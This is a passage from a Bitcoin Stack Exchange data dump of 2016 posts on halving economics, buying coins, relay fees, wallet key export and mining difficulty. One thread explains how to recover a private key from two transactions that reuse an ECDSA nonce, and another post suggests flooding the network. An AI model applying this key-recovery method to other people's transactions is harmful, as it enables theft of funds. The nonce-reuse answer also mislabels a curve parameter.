fairly accurately: &lt;a href=&quot;http://bitcoinclock.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;16th of July&lt;/a&gt; (± a few days)&lt;/li&gt;&#xA;&lt;li&gt;We have data from the first Halving (2012-11-28), and numerous altcoin halvings&lt;/li&gt;&#xA;&lt;li&gt;Price has been &quot;fairly stable&quot; between $152 and $502 (source Bitstamp) in the past year&lt;/li&gt;&#xA;&lt;li&gt;Previous research showed that most &lt;a href=&quot;http://arstechnica.com/tech-policy/2012/10/78-percent-of-bitcoin-currency-stashed-under-digital-mattress-study-finds/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoins were not circulating&lt;/a&gt;, I assume this still is the case&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thoughts&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From [1.] daily production, [5.] price stability, and [6.] dormant bitcoins we can conclude that the market is soaking up more bitcoins worth more than 1,000,000 USD per day.&lt;/li&gt;&#xA;&lt;li&gt;Reduced supply from [2.] would suggest an upward shift of market equilibrium.&lt;/li&gt;&#xA;&lt;li&gt;Yet, the predictability of the supply event [3.] would suggest that such movements spread out due to anticipation, which aligns with the day of the [4.] first Halving only &lt;a href=&quot;http://www.thehalvening.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;showing small price movements (+1.7%)&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Reduced supply will also cause a steep decline in Mining profitability, &lt;a href=&quot;http://cryptomining-blog.com/5754-litecoin-ltc-hashrate-analysis-post-halving/&quot; rel=&quot;nofollow noreferrer&quot;&gt;may cause inefficient hardware to be sunsetted&lt;/a&gt;, or pointed at more profitable coins. E.g. the May'14 Dogecoin Halving [4.] caused &lt;a href=&quot;http://digiconomist.net/impact_of_recent_dogecoin_halving/&quot; rel=&quot;nofollow noreferrer&quot;&gt;difficulty to drop by ca. 25%&lt;/a&gt;. This effect should be less pronounced in Bitcoin, as more than half of the Bitcoin network's hash power &lt;a href=&quot;https://blockchain.info/charts/difficulty?timespan=180days&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow noreferrer&quot;&gt;came online over the last 6 months&lt;/a&gt; since the hash rate more than doubled.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusions&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is unreasonable to expect a sharp price increase around the Halving as the event is anticipated. The Halving effects would manifest ±6 months (guess!) around the Halving.&lt;/li&gt;&#xA;&lt;li&gt;The price remains unpredictable: The longterm effects may have been mis-estimated by the market, leading to a subsequent correction (as with Litecoin's Halving in Aug'15), or a subsequent rally, as reduced supply takes effect.&lt;/li&gt;&#xA;&lt;li&gt;Remember: There is a large number of other unknown events that will also affect the market.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my final answer is: &lt;strong&gt;We don't know yet whether the price will double. It seems plausible for the exchange rate to rise above current levels.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-01-30T10:08:26.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42662" PostTypeId="1" CreationDate="2016-01-30T17:19:16.463" Score="0" ViewCount="147" Body="&lt;p&gt;Way too complex. Give me an actual example as to how this works? For example; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I purchase bitcoins?&lt;br&gt;&#xA;How much do they cost; is there an exchange rate?&lt;br&gt;&#xA;How do I redeem them; turn them back into dollars?  &lt;/p&gt;&#xA;" OwnerUserId="32523" LastEditorUserId="2306" LastEditDate="2016-01-30T20:09:23.403" LastActivityDate="2016-01-30T20:09:23.403" Title="How do I purchase Bitcoins?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="2" ClosedDate="2016-01-30T20:10:40.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="42663" PostTypeId="1" AcceptedAnswerId="42668" CreationDate="2016-01-30T19:33:45.770" Score="1" ViewCount="121" Body="&lt;p&gt;Is it possible to configure a node to reject junk transactions like this&#xA;&lt;a href=&quot;https://tradeblock.com/bitcoin/tx/6d67480fde2dd484b0ee389a6488db212ea7d0dbd2a11358efcc0b39077407ca&quot; rel=&quot;nofollow&quot;&gt;https://tradeblock.com/bitcoin/tx/6d67480fde2dd484b0ee389a6488db212ea7d0dbd2a11358efcc0b39077407ca&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;199 inputs, 35kb tx with a tiny 0.0003 fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's &lt;code&gt;minrelaytxfee&lt;/code&gt;, but I'm looking for something that is based on both fee and tx size. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-01-31T02:16:49.057" Title="Reject TXs based on fee in comparison to TX size?" Tags="|transaction-fees|unconfirmed-transactions|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42664" PostTypeId="2" ParentId="42662" CreationDate="2016-01-30T19:57:32.203" Score="3" Body="&lt;p&gt;A complex subject with an array of different possibilities results in answers of the same nature. If we provide simple answers, it won't be very helpful. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How do I purchase bitcoins?&lt;br&gt;&#xA;A: Depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How much do they cost?&lt;br&gt;&#xA;A: Depends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: Is there an exchange rate?&lt;br&gt;&#xA;A: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How do I redeem them; turn them back into dollars?&lt;br&gt;&#xA;A: Depends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Complex yet more helpful answers:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How do I purchase bitcoins?&lt;br&gt;&#xA;A: Depends on where you live, but I think it's safe to assume you are in the United States based on the details your questions. Coinbase and Circle are US friendly sites that will sell you bitcoins after your sign up and provide them with your personal and financials information. Or you can use a service like localbitcoins to find someone nearby that will meet you at a public place that will sell you bitcoins for your cold-hard cash. Or you can try to find a bitcoin ATM, that will turn your cash into bitcoins. The last two options will require you to have a bitcoin wallet, whereas coinbase and circle can also act as your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How much do they cost?&lt;br&gt;&#xA;A: Depends where you buy them from. Some places are more expensive than others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: Is there an exchange rate?&lt;br&gt;&#xA;A: Yes, there are many different exchanges resulting in many different exchange rates. See here &lt;a href=&quot;http://bitcoincharts.com/markets/currency/USD.html&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/currency/USD.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How do I redeem them; turn them back into dollars?&lt;br&gt;&#xA;A: Depends. If you use coinbase or circle they have an option for you to 'sell' your bitcoins back to them and they will ACH deposit the funds back to your bank account in dollars. Or you can find a person on localbitcoins and sell to an individual. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-01-30T19:57:32.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42665" PostTypeId="2" ParentId="42656" CreationDate="2016-01-30T22:28:50.060" Score="-1" Body="&lt;p&gt;The bitcoin production costs are about $80 just the electricity + $?? other expenses. My guess that a full cost to produce bitcoin on the order of $200? so this implies for miners to stay operational, the price would need to rise to $400 ? the price already hovers around this level.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-01-30T22:28:50.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42666" PostTypeId="2" ParentId="25494" CreationDate="2016-01-30T22:34:36.570" Score="1" Body="&lt;p&gt;pretty much all of them. Bitcoin libraries are available in most major flavours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original Satoshi client is c++&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-01-30T22:34:36.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42667" PostTypeId="2" ParentId="42607" CreationDate="2016-01-30T22:38:02.580" Score="-3" Body="&lt;p&gt;Yes for example you can buy 1$ worth of coin, the price doubles, market site collapses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you lost $2 worth of coin&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-01-30T22:38:02.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42668" PostTypeId="2" ParentId="42663" CreationDate="2016-01-31T02:16:49.057" Score="1" Body="&lt;p&gt;minrelayfee is already in BTC/kB, so that's exactly what you need.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;35kb tx with a tiny 0.0003 fee.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Didn't do the math, but I think even the default minrelayfee should block those.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-31T02:16:49.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42669" PostTypeId="2" ParentId="366" CreationDate="2016-01-31T02:52:42.417" Score="2" Body="&lt;p&gt;In many cases a government could effectively shutdown bitcoin in its country by making the following law:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No licensed or regulated financial institution can exchange currency for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since taxes and fees for government services must be paid in currency, if I receive bitcoin for services, I would have to exchange the bitcoin for something else that could then be sold. A country would have to be extremely messed up for a significant number of people to want to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in countries where this did not work, they could forbid the usage of bitcoin; which would make using bitcoin on the black market difficult as you could only barter in none transparent black markets situations.&lt;/p&gt;&#xA;" OwnerUserId="23096" LastActivityDate="2016-01-31T02:52:42.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42670" PostTypeId="2" ParentId="7529" CreationDate="2016-01-31T10:57:28.977" Score="2" Body="&lt;p&gt;Library under Apache Licence:&#xA;&lt;a href=&quot;https://github.com/SulacoSoft/BitcoindConnector4J&quot; rel=&quot;nofollow&quot;&gt;https://github.com/SulacoSoft/BitcoindConnector4J&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32542" LastActivityDate="2016-01-31T10:57:28.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42671" PostTypeId="2" ParentId="366" CreationDate="2016-01-31T11:44:58.270" Score="0" Body="&lt;p&gt;They could DDOS the network since the blockchain can only handle about 3 transactions / second if a party (Or group of parties) were to generate say 6 / second on over the course of weeks or months it would pretty much make it so no one would be able to have a durable transaction.&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2016-01-31T11:44:58.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42672" PostTypeId="1" AcceptedAnswerId="42788" CreationDate="2016-01-31T13:18:10.787" Score="1" ViewCount="4023" Body="&lt;p&gt;I have 2 transactions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001494d40d44b9ea0d652fca9258ab7caa42551eb52975887f96fb50cd632c8b497000000008c493046022100bdc4132fbd2d9334b54531babdd1f8ecc0a37e75b04c9521684490da25e5938e022100b973d6c776f1a8db2b7bc654c7e55384422677f41928ec4c30643f383d587bfd014104cb5035b2d8fc1019146a7e4fba751a9a9bfafa2d1e35528a9397051c6e630513694ab925adc4083dcafc86c92796a2b6ae977adfc0bb47df9106a6a9263d35f6ffffffff0120030000000000001976a91468979da3812f340e577fc379c20a8f8a505f02dd88ac00000000&#xA;&#xA;&#xA;&#xA;0100000001494d40d44b9ea0d652fca9258ab7caa42551eb52975887f96fb50cd632c8b427000000008c493046022100bdc4132fbd2d9334b54531babdd1f8ecc0a37e75b04c9521684490da25e5938e022100be1c50365d8ed4e269cb7350dee3b5fcc9f81856726a590dcdd3f538dafcd045014104cb5035b2d8fc1019146a7e4fba751a9a9bfafa2d1e35528a9397051c6e630513694ab925adc4083dcafc86c92796a2b6ae977adfc0bb47df9106a6a9263d35f6ffffffff0120030000000000001976a91468979da3812f340e577fc379c20a8f8a505f02dd88ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that the k values and hence the R values of both these transactions are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now how do I recover the private key from these two transactions in hex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A detailed step by step procedure on how to arrive at the answer will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="32546" LastActivityDate="2018-03-17T06:20:44.990" Title="Find private key" Tags="|transactions|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42673" PostTypeId="1" AcceptedAnswerId="42679" CreationDate="2016-01-31T14:47:37.293" Score="2" ViewCount="1638" Body="&lt;p&gt;I worry that if I install a wallet in my Phone, it would have a different wallet from the one I created in PC.&lt;/p&gt;&#xA;" OwnerUserId="32509" LastEditorUserId="5406" LastEditDate="2016-02-02T16:38:10.380" LastActivityDate="2016-02-02T16:38:10.380" Title="Can wallet created from Bitcoin core be transferred to an Android device?" Tags="|shared-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42674" PostTypeId="2" ParentId="42672" CreationDate="2016-01-31T17:16:38.793" Score="2" Body="&lt;p&gt;Hopefully most web wallets and wallet services are not re-using R values to sign transactions since this has been a known vulnerability for a while now. On a very low level you are turning an equation like x + y = 10 into x + 2 = 10 making it easy to find x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First find the reused R values, in your case it's:&#xA;&lt;code&gt;2100bdc4132fbd2d9334b54531babdd1f8ecc0a37e75b04c9521684490da25e5938e&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then find the signature coordinates in the two transactions:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tx1 coordinate(S1):&lt;br&gt;&#xA;&lt;code&gt;00b973d6c776f1a8db2b7bc654c7e55384422677f41928ec4c30643f383d587bfd&lt;/code&gt;&lt;br&gt;&#xA;tx2 coordinate(S2):&lt;br&gt;&#xA;&lt;code&gt;00be1c50365d8ed4e269cb7350dee3b5fcc9f81856726a590dcdd3f538dafcd045&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the tricky part, you can use the bitcoin secp256k1 curve to reverse calculate the private key, but you'll need also need to use a bitcoin transaction library to use &lt;code&gt;op_checksig()&lt;/code&gt; for the missing sig hashes to find SOP1 and SOP2. I'll let one of the more advanced users explain finding the above two values, as I don't fully understand it myself. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=977070.msg11160403#msg11160403&quot; rel=&quot;nofollow&quot; title=&quot;link&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p = parameter for secp256k1&lt;br&gt;&#xA;Limit the secp256k1 field:&lt;br&gt;&#xA;&lt;code&gt;p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;K = GF(p)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end it's:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;K = (sop1*s2 - sop2*s1)/(r*(s1-s2))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will output an integer, will need to be hexcoded, and then converted to WIF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=977070.msg10669517#msg10669517&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=977070.msg10669517#msg10669517&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=977070.msg11161149#msg11161149&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=977070.msg11161149#msg11161149&lt;/a&gt;     &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-01-31T17:16:38.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42676" PostTypeId="1" CreationDate="2016-01-31T18:49:04.910" Score="1" ViewCount="96" Body="&lt;p&gt;I need help. What can I do to still use my paper key?&lt;/p&gt;&#xA;" OwnerUserId="32556" LastEditorUserId="5406" LastEditDate="2016-02-01T22:28:01.477" LastActivityDate="2016-02-01T23:11:04.587" Title="I spilled a little bit of candle wax on my Bitcoin private key and now it won't scan electronically what can I do?" Tags="|paper-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42678" PostTypeId="2" ParentId="42676" CreationDate="2016-01-31T19:28:36.273" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;If the string of numbers and letters that should also be printed on the paper wallet (usually below the QR code) is legible, use that to import your wallet. It is likely prepended with &quot;Private key: &quot; and starts with a &quot;5&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Else:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Try googling &quot;Remove wax from paper&quot;&lt;/li&gt;&#xA;&lt;li&gt;Read instructions carefully for plausibility&lt;/li&gt;&#xA;&lt;li&gt;Follow instructions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You might be able to soak up the wax by covering it with baking paper or newspaper and carefully ironing it. I have &lt;strong&gt;not tried this&lt;/strong&gt; with printed documents before, use this idea at your own risk.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-01T22:29:59.340" LastActivityDate="2016-02-01T22:29:59.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42679" PostTypeId="2" ParentId="42673" CreationDate="2016-01-31T19:33:52.757" Score="4" Body="&lt;p&gt;Even if it is &lt;strong&gt;NOT recommended&lt;/strong&gt; (especially if you want to store a considerably amount of funds), it is possible to share a &quot;wallet&quot;, or more specifically a Private Key, from one wallet app to the other. Bitcoin wallets are &lt;strong&gt;just keychains, they only contain keys&lt;/strong&gt;, you &lt;strong&gt;can&lt;/strong&gt; have the &lt;strong&gt;same private key in both apps&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not recommended because it's more likely that you can get your phone stolen than your computer, especially if it's not a laptop but a desktop computer, also mobile wallet code and mode (light wallet or SPV vs full-node) can be weaker. Sharing private keys means that who first gets the access to the wallet or the key directly can spend the funds.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;strong&gt;how to share&lt;/strong&gt; it anyway:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily export your private key using the &lt;code&gt;dumpprivatekey&lt;/code&gt; command from Bitcoin Core (here's &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5933/12796&quot;&gt;how to export it&lt;/a&gt; on Bitcoin Core GUI, or bitcoin-qt, if you don't have the qt version you need to launch the command via &lt;code&gt;bitcoin-cli&lt;/code&gt; and enter the same commands)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can take any Mobile wallet with import private key capability like &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mycelium&lt;/a&gt; (Android) or &lt;a href=&quot;https://itunes.apple.com/us/app/breadwallet-bitcoin-wallet/id885251393&quot; rel=&quot;nofollow noreferrer&quot;&gt;BreadWallet&lt;/a&gt; (iOS) and import it via their &quot;import private key&quot; feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mycelium&lt;/a&gt;, to import a private key, you have to click the hamburger button, then select &lt;strong&gt;&quot;Cold storage&quot;&lt;/strong&gt; and then &lt;strong&gt;Clipboard&lt;/strong&gt; (you need to securely send your private key from your computer to your phone, this usually means no email and no standard IMs, the safest way is to transcribe it manually). Also note that you need to password protect your wallet (preferably with a strong password) or users that can access your phone will be able to spend your funds, Mycelium will warn you if you don't do it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also note that bitcoin-qt and Bitcoin Core don't use HD or BIP32, this means that you get less anonymity if you reuse the same address or if you don't import a large number of keys, to have multiple &quot;change&quot; addresses available in both wallets.&lt;/p&gt;&#xA;" OwnerUserId="12796" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-02-02T16:37:10.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42680" PostTypeId="2" ParentId="41457" CreationDate="2016-01-31T20:17:18.923" Score="1" Body="&lt;p&gt;Ok so its finally up and working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;v0.9.3.0-g40d2041-beta&lt;/code&gt; the core process definitely crashes on that volume. Now with &lt;code&gt;version : 110200&lt;/code&gt; it appears as if its crashed, but doesn't. Setting the write catch to 512MB may have had an impact here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;14:44:48  getinfo&#xA;&#xA;15:36:10&#xA;{&#xA;&quot;version&quot; : 110200,&#xA;&quot;protocolversion&quot; : 70002,&#xA;&quot;walletversion&quot; : 60000,&#xA;&quot;balance&quot; : xyz,&#xA;&quot;blocks&quot; : 388767,&#xA;&quot;timeoffset&quot; : -7,&#xA;&quot;connections&quot; : 1,&#xA;&quot;proxy&quot; : &quot;&quot;,&#xA;&quot;difficulty&quot; : 79102380900.22598300,&#xA;&quot;testnet&quot; : false,&#xA;&quot;keypoololdest&quot; : 1385606583,&#xA;&quot;keypoolsize&quot; : 101,&#xA;&quot;unlocked_until&quot; : 0,&#xA;&quot;paytxfee&quot; : 0.00000000,&#xA;&quot;relayfee&quot; : 0.00005000,&#xA;&quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the delay of &lt;strong&gt;52 minutes&lt;/strong&gt; for a console command to return a response. This probably indicates bad threading that an IO process can block the interactive terminal. Eventually though block processing does resume and it caught up 16GB worth of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might look into it further so I can log a bug report. &lt;/p&gt;&#xA;" OwnerUserId="30676" LastActivityDate="2016-01-31T20:17:18.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42682" PostTypeId="1" AcceptedAnswerId="42684" CreationDate="2016-01-31T22:35:18.767" Score="11" ViewCount="44843" Body="&lt;p&gt;In a world of pain at the moment. I downloaded Bitcoin Core, and before I realised I'd need the complete downloaded Blockchain, my friend transferred some coins to my address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some research and am trying to import my Bitcoin core private keys to Blockchain, therefore having access to my coins. My problem is, I can't get my public address. I have tried using several commands in the console window, and are able to unlock and lock. I've used 'listaddressgroupings' - which works, but the return is &quot;[&quot; and then &quot;]&quot; directly below? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also used &lt;em&gt;getaccountaddress&lt;/em&gt; and &lt;em&gt;getaddressesbyaccount &quot;Your Address&quot;&lt;/em&gt; with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="32436" LastEditorUserId="32436" LastEditDate="2016-01-31T22:53:07.337" LastActivityDate="2023-11-10T17:04:59.863" Title="How do I get my public address in Bitcoin Core?" Tags="|bitcoin-core|public-key|private-key-import|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42683" PostTypeId="1" CreationDate="2016-01-31T22:56:50.007" Score="1" ViewCount="1646" Body="&lt;p&gt;The transactions-fee is set to 0.0001 btc in Multibit classic. Can I set the fee to 0.2 or 0.3 mBTC? Where is the java class that I must change to upgrade the fee? What is the var or const to change?&lt;/p&gt;&#xA;" OwnerUserId="32561" LastActivityDate="2016-02-02T21:10:34.487" Title="Change the fee on Multibit" Tags="|transaction-fees|multibit|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42684" PostTypeId="2" ParentId="42682" CreationDate="2016-02-01T01:25:34.410" Score="12" Body="&lt;p&gt;&lt;strong&gt;Edit: Answer to the question: How to get private keys out of Bitcoin Core&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;After you found your addresses (by using the commands I listed below, for example) you can execute the folllowing command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dumpprivatekey 1ofYourAddresses&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If your wallet is password protected and locked run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &amp;quot;your password or passphrase&amp;quot; 600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And 'walletlock' when you're done to re-lock it.&lt;/p&gt;&#xA;&lt;p&gt;You can easily recognize addresses from Private Keys because addresses start always with one (1), Private Keys instead start with 5, K or L. You don't need to manage public keys at all. Also you just need the Private key to export/import a &amp;quot;wallet&amp;quot;, in fact a private key is a wallet, and from that ypthe software can find out the address(es) that correspond to it, so you need just to export that.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Answer to the original question: How to get public address in Bitcoin Core&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes/release-notes-0.18.0.md#deprecated-or-removed-rpcs&quot; rel=&quot;nofollow noreferrer&quot;&gt;The 'account' API which is used below has been removed since v0.18&lt;/a&gt; *&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Your main&lt;/strong&gt; (first) &lt;strong&gt;bitcoin account&lt;/strong&gt; in Bitcoin Core and bitcoin-qt &lt;strong&gt;is the empty-string account, '&amp;quot;&amp;quot;'&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To get your bitcoin addresses via bitcoin-cli or via the bitcoin-qt console, for your main account, &lt;strong&gt;use&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getaccountaddress &amp;quot;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That will return your first address of the main account, and:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;getaddressesbyaccount &amp;quot;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Will return (at first launch two addresses and in general) the list of all your addresses associated with your main account.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This is an example output of the &lt;code&gt;getaddressesbyaccount&lt;/code&gt; call on a newly installed bitcoin-qt:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoin-cli getaddressesbyaccount &amp;quot;&amp;quot;&#xA;&#xA;[&#xA;    &amp;quot;1AA37Akj16aj9nU4NYgx2cRwjgmuwpxR6Z&amp;quot;,&#xA;    &amp;quot;1CbkkAbB7ootHHu9Fhbh8TtRR2iiCoNCZD&amp;quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This is the minimal &lt;code&gt;~/.bitcoin/bitcoin.conf&lt;/code&gt; you want to have to be able to run &lt;code&gt;bitcoin-qt&lt;/code&gt; with the CLI enabled, this way you can understand which accounts and addresses you own and their balances etc. from the UI.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=bitcoin&#xA;rpcpassword=TYPE_A_STRONG_PASS_HERE&#xA;&#xA;# enables deamon in bitcoin-qt&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12796" LastEditorUserId="13866" LastEditDate="2022-03-21T10:32:14.437" LastActivityDate="2022-03-21T10:32:14.437" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="42686" PostTypeId="1" AcceptedAnswerId="42687" CreationDate="2016-02-01T12:54:38.463" Score="2" ViewCount="1077" Body="&lt;p&gt;If I understood it well, miners collect transactions in temporary files on which they apply a cryptographic function. The result will be reviewed against a desired pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this &quot;desired pattern&quot; always have the same leading zeros? Or does that change now and then?&lt;br&gt;&#xA;If it changes now and then, what triggers this?&lt;/p&gt;&#xA;" OwnerUserId="32570" LastEditorUserId="5406" LastEditDate="2016-02-01T21:17:51.520" LastActivityDate="2016-02-01T21:17:51.520" Title="Do the leading zeros in the desired hash pattern for mining change?" Tags="|difficulty|mining-theory|block-header|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
